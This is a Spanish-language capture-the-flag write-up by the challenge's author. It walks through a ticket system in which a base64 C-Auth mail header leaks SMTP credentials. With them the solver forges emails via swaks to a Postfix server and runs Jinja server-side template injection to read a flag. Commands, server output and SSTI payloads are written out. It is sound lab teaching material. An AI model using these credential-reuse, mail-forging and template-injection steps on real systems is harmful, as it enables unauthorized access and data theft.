/\___/\
( o ^ o )
(  >o<  )
(        )
(         )
(          ))))))))))
'._....._,'

En primer lugar, quiero felicitar a las 3 personas/equipos que logaron resolver el desafío. Fue algo que armé a la rápida, con mucho cariño y harta dificultad en mente. Como anécdota, quiero mencionar que las dos primeras resoluciones explotaron la vulnerabilidad de una forma distinta a la que tenía planeada. Ya que esta solución hacía que el desafío fuera trivial y no dificil, decidí mitigarla apenas fui avisado.

00

-…- 1. Recon inicial -…-

La descripción del desafío habla de un grupo de desarrolladores que perdieron el control de uno de sus proyectos. Al ingresar al sitio, nos encontramos con un formulario de contacto que nos envía un correo electrónico cada vez que lo llenamos.

01

02

El repositorio en GitHub explica que el formulario corresponde a un sistema de gestión de tickets con una infraestructura innecesariamente compleja. Adjunto a las malas explicaciones se encuentra la siguiente imágen:

03

Acá podemos ver como el formulario (escrito en Flask) crea una plantilla de Jinja de manera dinámica con los datos del usuario. Luego, la envía a través de SMTP a un segundo programa que la renderiza e incluye el número de solicitud generado de forma aleatoria. Finalmente, el mensaje completo es enviado al usuario a través de correo. Revisando el código podemos ver la mayoría de este flujo.

En /web/app/app.py vemos cuando se toman los datos del formulario y se sanitizan antes de ser pasados a la función process_ticket.

@app.route("/", methods=["POST"])
@rate_limiter.limit("10/minute")
def handle_form():
    name = request.form.get("name")
    email = request.form.get("email")
    message = request.form.get("message")
    if all([name, email, message]):
        for c in "%{}()+": # <-- Esto fue añadido para mitigar la solución unintended :)
            name = name.replace(c, "*")
            message = message.replace(c, "*")
            process_ticket(name, email, message)
    return flask.make_response(flask.redirect("/"))

Dentro de la función process_ticket, se genera la plantilla de manera dinámica y se incluye en un JSON junto con el correo del usuario. Después se llama a la función sendmail con el JSON como argumento.

TEMPLATE = """\
Hola, {}

Gracias por tu solicitud, nos contactaremos pronto contigo.
Este es tu código de seguimiento: {{{{ codigo }}}}

Esta es una copia de tu mensaje:
-------------------------------
{}
-------------------------------

Saludos,
Equipo de Dominio Real.
"""
...
def process_ticket(name, email, message):
    final_template = TEMPLATE.format(name, message) # Acá se genera la plantilla
    json_str = json.dumps({
        "template": final_template,
        "email": email
    }) # y acá el JSON
    sendmail(json_str)

La función sendmail simplemente envía un correo de webform@dominioreal.xyz a solicitud@dominioreal.xyz con el JSON generado en la parte anterior en el cuerpo del mensaje.

DOMINIO = "dominioreal.xyz"
MAIL_FROM = f"webform@{DOMINIO}"
RCPT_TO = f"solicitud@{DOMINIO}"
...
def sendmail(body):
    msg = MIMEMultipart()
    msg['Subject'] = f"Webform - {time.ctime()}"
    msg['From'] = MAIL_FROM
    msg['To'] = RCPT_TO
    msg.attach(MIMEText(body))
    with SMTP("192.155.95.27") as smtp:
        smtp.helo("dominioreal.xyz")
        smtp.sendmail(MAIL_FROM, RCPT_TO, msg.as_string())

Importante mencionar que el servidor de correo que usa es 192.155.95.27, también conocido como dominioreal.xyz

          $ nslookup 192.155.95.27
          27.95.155.192.in-addr.arpa	name = dominioreal.xyz.

Podemos suponer entonces que este corresponde al paso (1) en el diagrama, con la diferencia de que el envío del correo lo hace a través de internet y no internamente como el dibujo sugiere. Esto debería abrir una serie de preguntas:

          P1. Ya que el envío del correo no ocurre de forma interna y el servidor se encuentra expuesto,
          ¿podré yo enviarle correos?
          
          P2. Si ese es el caso, significa que me puedo comunicar con el motor de plantillas directamente,
          saltándome la sanitización realizada por el formulario. ¿Ocurrirá otro proceso de sanitización?
          
          P3. Si mi contenido llega intacto al motor de plantillas, ¿podré enviar una plantilla maliciosa
          explotando un SSTI?

Veamos ahora el código de /backend/process_email.py aka. el motor de plantillas interno. Recordemos que este programa procesa todos los correos recibidos por el usuario solicitud@dominioreal.xyz de acuerdo a lo que podemos concluir de app.py junto con el diagrama.

Primero vemos una variable llamada FLAG. Esto nos hace saber inmediatamente que este es el programa que debemos explotar para resolver el desafío.

    FLAG = "flag{olaaa_no_soi_la_flag_confia_en_mi}"

También vemos cómo el programa procesa el cuerpo del correo, extrayendo la plantilla y el correo del usuario del objeto JSON.

def main():
    ...
    # Sacamos el cuerpo y lo transformamos en un diccionario
    mail = mailparser.parse_from_string(raw_message)
    info_dict = json.loads(mail.body.strip(), strict=False)
    ...

Y aquí un detalle crucial. Al renderizar la plantilla, además de pasar la variable “codigo”, también incluye “flag”, dejándola en el namespace accesible por la plantilla (con un “{{ flag }}” por ejemplo).

def main():
    ...
    message_template = jinja2.Template(info_dict["template"])
    ...
    # Renderizamos el template y lo enviamos
    sendmail(info_dict["email"], message_template.render(
        codigo=codigo_sol,
        flag=FLAG # <- omaigat
    ))

Este programa hace el envío de correos de manera interna, autenticándose con localhost utilizando usuario y contraseña. También hay un comentario un poco extraño sobre el traspaso de credenciales entre componentes.

MAIL_FROM = "solicitud@dominioreal.xyz"

def sendmail(user_email, body):
    msg = MIMEMultipart()
    msg['Subject'] = "Comprobante Solicitud"
    msg['From'] = MAIL_FROM
    msg['To'] = user_email
    # TODO: Ver cómo integramos credenciales/tokens de autorización entre
    # componentes
    msg.attach(MIMEText(body))
    with SMTP("localhost") as smtp:
        smtp.login("USERFALSO", "PASSFALSA")
        smtp.sendmail(MAIL_FROM, user_email, msg.as_string())

Esto nos dice que el servidor postfix requiere autenticación. Podemos validar esto conectándonos directamente al servidor y validando que ofrezca el comando AUTH.

          $ ncat dominioreal.xyz 25
          220 dominioreal.xyz ESMTP Postfix (Gud yob)
          EHLO sigint
          250-dominioreal.xyz
          250-PIPELINING
          250-SIZE 10240000
          250-VRFY
          250-ETRN
          250-STARTTLS
          250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
          250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
          250-ENHANCEDSTATUSCODES
          250-8BITMIME
          250-DSN
          250-SMTPUTF8
          250 CHUNKING

Con esta evidencia tratemos de responder nuestras preguntas, una por una :)

-…- 2. Explotación -…-

-…- 2.1 ¿Podría enviar correos directamente al servidor? -…-

Saquémonos la duda rapidamente:

          $ swaks --to "solicitud@dominioreal.xyz" --from "webform@dominioreal.xyz" --server dominioreal.xyz:25
          === Trying dominioreal.xyz:25...
          === Connected to dominioreal.xyz.
          <-  220 dominioreal.xyz ESMTP Postfix (Gud yob)
           -> EHLO sigint
          <-  250-dominioreal.xyz
          <-  250-PIPELINING
          <-  250-SIZE 10240000
          <-  250-VRFY
          <-  250-ETRN
          <-  250-STARTTLS
          <-  250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
          <-  250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
          <-  250-ENHANCEDSTATUSCODES
          <-  250-8BITMIME
          <-  250-DSN
          <-  250-SMTPUTF8
          <-  250 CHUNKING
           -> MAIL FROM:<webform@dominioreal.xyz>
          <-  250 2.1.0 Ok
           -> RCPT TO:<solicitud@dominioreal.xyz>
          <-  550 5.7.23 <solicitud@dominioreal.xyz>: Recipient address rejected: Message
              rejected due to: SPF fail - not authorized. Please see
              http://www.openspf.net/Why?s=mfrom;id=webform@dominioreal.xyz;ip=xxx.xxx.xx.xx;r=<UNKNOWN>
           -> QUIT
          <-  221 2.0.0 Bye
          === Connection closed with remote host

Demonios, no estamos pasando SPF. Tiene sentido considerando que dominioreal.xyz solo permite el envío de correos desde el sitio que estamos analizando.

          $ dig txt +short dominioreal.xyz
          "v=spf1 a -all"

Cambiando de foco, al analizar uno de los correos legítimos que recibimos, notamos que existe una cabecera inusual: C-Auth.

          ...
          MIME-Version: 1.0
          Subject: Comprobante Solicitud
          From: solicitud@dominioreal.xyz
          To: neo@sigint.in
          C-Auth: cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK
          Message-Id: <20231112014548.DD78E4BA67@dominioreal.xyz>
          Date: Sun, 12 Nov 2023 01:45:48 +0000 (UTC)
          ...

Si decodificamos su valor, nos encontramos con un usuario y contraseña omaigat.

          $ base64 -d <<< cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK
          postfixsender:FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp

Ahora al hacer el mismo ejercicio de antes, pero ingresando estas nuevas credenciales, logramos autenticarnos de manera exitosa con el servidor de correo y nuestro mensaje queda en la cola :)

$ swaks --to "solicitud@dominioreal.xyz" \
        --from "webform@dominioreal.xyz" \
        --server dominioreal.xyz:25 \
        --auth-user postfixsender
        --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp
=== Trying dominioreal.xyz:25...
=== Connected to dominioreal.xyz.
...
<-  334 PDI3NTYwMTQwOC41MjU4MDIxQGRvbWluaW9yZWFsLnh5ej4=
 -> cG9zdGZpeHNlbmRlciBjN2Y2ZDI0ZDE2ZmMxNzg0NTM0YmEyM2VmN2E5OTI5Ng==
<-  235 2.7.0 Authentication successful
 -> MAIL FROM:<webform@dominioreal.xyz>
<-  250 2.1.0 Ok
 -> RCPT TO:<solicitud@dominioreal.xyz>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Sat, 11 Nov 2023 23:38:55 -0300
 -> To: solicitud@dominioreal.xyz
 -> From: webform@dominioreal.xyz
 -> Subject: test Sat, 11 Nov 2023 23:38:55 -0300
 -> Message-Id: <20231111233855.149458@acheron>
...
<-  250 2.0.0 Ok: queued as 0F6794BA66
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Aún así, no recibimos nada en nuestra casilla. Pero no lo olvidemos, el backend espera que el cuerpo del correo sea un objeto JSON! Intentemos de nuevo con un mensaje válido.

$ swaks --to "solicitud@dominioreal.xyz" \
        --from "webform@dominioreal.xyz" \
        --server dominioreal.xyz:25 \
        --auth-user postfixsender \
        --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \
        --body '{"template":"test","email":"neo@sigint.in"}'

04

La respuesta entonces es sí, podemos enviar correos forjados!!

-…- 2.2 ¿Ocurrirá otro proceso de sanitización? -…-

Recordemos cuáles son los carácteres eliminados por el formulario:

@app.route("/", methods=["POST"])
@rate_limiter.limit("10/minute")
def handle_form():
    ...
    if all([name, email, message]):
        for c in "%{}()+":
            name = name.replace(c, "*")
            message = message.replace(c, "*")
    ...

En /backend/process_email.py nunca se sanitiza el contenido, porque se asume que ya viene limpio del frontend. Podemos validar esto enviando un correo con carácteres prohibidos.

$ swaks --to "solicitud@dominioreal.xyz" \
        --from "webform@dominioreal.xyz" \
        --server dominioreal.xyz:25 \
        --auth-user postfixsender \
        --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \
        --body '{"template":"%{}()+","email":"neo@sigint.in"}'

05

Fantástico, efectivamente no ocurre otro proceso de sanitización.

-…- 2.3 ¿Podré enviar una plantilla maliciosa explotando un SSTI? -…-

Si bien hay mil y un formas de validar esto, partamos enviando a ya saben quién:

{"template":"{{7*7}}","email":"neo@sigint.in"}

06

Ahora es cosa de recordar las variables que se inyectan en el namespace del template: codigo y flag. Veamos ambas:

{"template":"{{codigo}} {{flag}}","email":"neo@sigint.in"}

07

Y tenemos la flag :)

flag{4ut3nt1c4c1on_SMTP?}